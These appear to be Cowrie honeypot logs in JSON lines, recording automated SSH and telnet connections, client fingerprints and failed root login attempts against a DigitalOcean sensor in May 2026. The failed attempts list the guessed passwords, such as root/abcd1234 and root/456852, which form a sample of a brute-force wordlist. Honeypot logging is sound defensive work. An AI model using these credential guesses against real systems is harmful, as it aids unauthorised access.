{"eventid":"cowrie.session.closed","duration":32.547826051712036,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:12.610685Z","src_ip":"152.42.224.71","session":"154aae736984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39516,"dst_ip":"10.17.0.5","dst_port":23,"session":"184f410a6a25","protocol":"telnet","message":"New connection: 152.42.224.71:39516 (10.17.0.5:23) [session: 184f410a6a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:13.487659Z"}
{"eventid":"cowrie.session.closed","duration":47.32074594497681,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:18.302219Z","src_ip":"152.42.224.71","session":"e9384b2b4d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":44448,"dst_ip":"159.203.135.109","dst_port":22,"session":"d138cb074b5d","protocol":"ssh","message":"New connection: 103.75.183.219:44448 (159.203.135.109:22) [session: d138cb074b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:19.733647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:19.738954Z","src_ip":"103.75.183.219","session":"d138cb074b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:19.982024Z","src_ip":"103.75.183.219","session":"d138cb074b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38446,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea338a0e4466","protocol":"ssh","message":"New connection: 194.113.233.25:38446 (159.203.135.109:22) [session: ea338a0e4466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:20.443141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:20.448427Z","src_ip":"194.113.233.25","session":"ea338a0e4466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:20.542575Z","src_ip":"194.113.233.25","session":"ea338a0e4466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creative","message":"login attempt [root/creative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:20.699383Z","src_ip":"103.75.183.219","session":"d138cb074b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vita1986","message":"login attempt [root/vita1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:20.864882Z","src_ip":"194.113.233.25","session":"ea338a0e4466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:21.941284Z","src_ip":"103.75.183.219","session":"d138cb074b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:21.960263Z","src_ip":"194.113.233.25","session":"ea338a0e4466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"64184b8a0de6","protocol":"telnet","message":"New connection: 152.42.224.71:39436 (10.17.0.5:23) [session: 64184b8a0de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:25.943969Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":52552,"dst_ip":"159.203.135.109","dst_port":22,"session":"fba1f9eba178","protocol":"ssh","message":"New connection: 103.183.114.55:52552 (159.203.135.109:22) [session: fba1f9eba178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:27.486727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:27.492649Z","src_ip":"103.183.114.55","session":"fba1f9eba178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:27.724542Z","src_ip":"103.183.114.55","session":"fba1f9eba178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.71579551696777,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:27.825033Z","src_ip":"152.42.224.71","session":"ff4ae6e58be9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"9379992a","message":"login attempt [root/9379992a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:28.407735Z","src_ip":"103.183.114.55","session":"fba1f9eba178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:29.161332Z","src_ip":"47.237.167.49","session":"e045d87103f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00151181221008,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:29.181014Z","src_ip":"152.42.224.71","session":"7f3c81b944d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:29.637460Z","src_ip":"103.183.114.55","session":"fba1f9eba178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"68.7","message":"Connection lost after 68.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:35.099117Z","src_ip":"47.237.167.49","session":"e045d87103f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.93466830253601,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:36.383654Z","src_ip":"152.42.224.71","session":"32efbbdf0801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.827797174453735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:38.714797Z","src_ip":"152.42.224.71","session":"101413500a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.0839478969574,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:42.078434Z","src_ip":"152.42.224.71","session":"1e352b552385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.96383786201477,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:54.642839Z","src_ip":"152.42.224.71","session":"2d9cb19d09b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36534,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c74af63904","protocol":"telnet","message":"New connection: 152.42.224.71:36534 (10.17.0.5:23) [session: 84c74af63904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:11:59.050619Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43320,"dst_ip":"10.17.0.5","dst_port":22,"session":"f559e79b5587","protocol":"ssh","message":"New connection: 182.93.50.90:43320 (10.17.0.5:22) [session: f559e79b5587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:02.441101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:02.446495Z","src_ip":"182.93.50.90","session":"f559e79b5587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:02.667642Z","src_ip":"182.93.50.90","session":"f559e79b5587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345!","message":"login attempt [root/abc12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:03.578861Z","src_ip":"182.93.50.90","session":"f559e79b5587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37474,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd73ec6be2d","protocol":"ssh","message":"New connection: 103.153.68.219:37474 (159.203.135.109:22) [session: ecd73ec6be2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:04.450360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:04.454284Z","src_ip":"103.153.68.219","session":"ecd73ec6be2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:04.702412Z","src_ip":"103.153.68.219","session":"ecd73ec6be2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:04.801726Z","src_ip":"182.93.50.90","session":"f559e79b5587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjnfr","message":"login attempt [root/ghjcnjnfr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:05.437588Z","src_ip":"103.153.68.219","session":"ecd73ec6be2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:06.685352Z","src_ip":"103.153.68.219","session":"ecd73ec6be2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"2250408d05bd","protocol":"telnet","message":"New connection: 152.42.224.71:48868 (10.17.0.5:23) [session: 2250408d05bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:07.132087Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48882,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd8698cb7d51","protocol":"telnet","message":"New connection: 152.42.224.71:48882 (10.17.0.5:23) [session: dd8698cb7d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:08.273955Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32810,"dst_ip":"10.17.0.5","dst_port":23,"session":"1833463b93d3","protocol":"telnet","message":"New connection: 152.42.224.71:32810 (10.17.0.5:23) [session: 1833463b93d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:25.040708Z"}
{"eventid":"cowrie.session.closed","duration":30.44052767753601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:29.491036Z","src_ip":"152.42.224.71","session":"84c74af63904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56342,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a6ec48e698","protocol":"ssh","message":"New connection: 89.223.69.22:56342 (159.203.135.109:22) [session: 12a6ec48e698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:32.432711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:32.436344Z","src_ip":"89.223.69.22","session":"12a6ec48e698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:32.552240Z","src_ip":"89.223.69.22","session":"12a6ec48e698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:32.900257Z","src_ip":"89.223.69.22","session":"12a6ec48e698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e1c9627014","protocol":"telnet","message":"New connection: 152.42.224.71:42740 (10.17.0.5:23) [session: a4e1c9627014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:33.199268Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:34.018457Z","src_ip":"89.223.69.22","session":"12a6ec48e698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42746,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e899c95cfc","protocol":"telnet","message":"New connection: 152.42.224.71:42746 (10.17.0.5:23) [session: 11e899c95cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:35.354377Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.210.8","src_port":34670,"dst_ip":"10.17.0.5","dst_port":23,"session":"87efab0ed313","protocol":"telnet","message":"New connection: 146.19.210.8:34670 (10.17.0.5:23) [session: 87efab0ed313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:37.387507Z"}
{"eventid":"cowrie.session.closed","duration":35.823026180267334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:42.954998Z","src_ip":"152.42.224.71","session":"2250408d05bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.50506353378296,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:43.992598Z","src_ip":"152.42.224.71","session":"184f410a6a25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33796,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8750a0570a6","protocol":"ssh","message":"New connection: 103.77.242.62:33796 (10.17.0.5:22) [session: f8750a0570a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:47.558770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:47.562904Z","src_ip":"103.77.242.62","session":"f8750a0570a6","protocol":"ssh"}
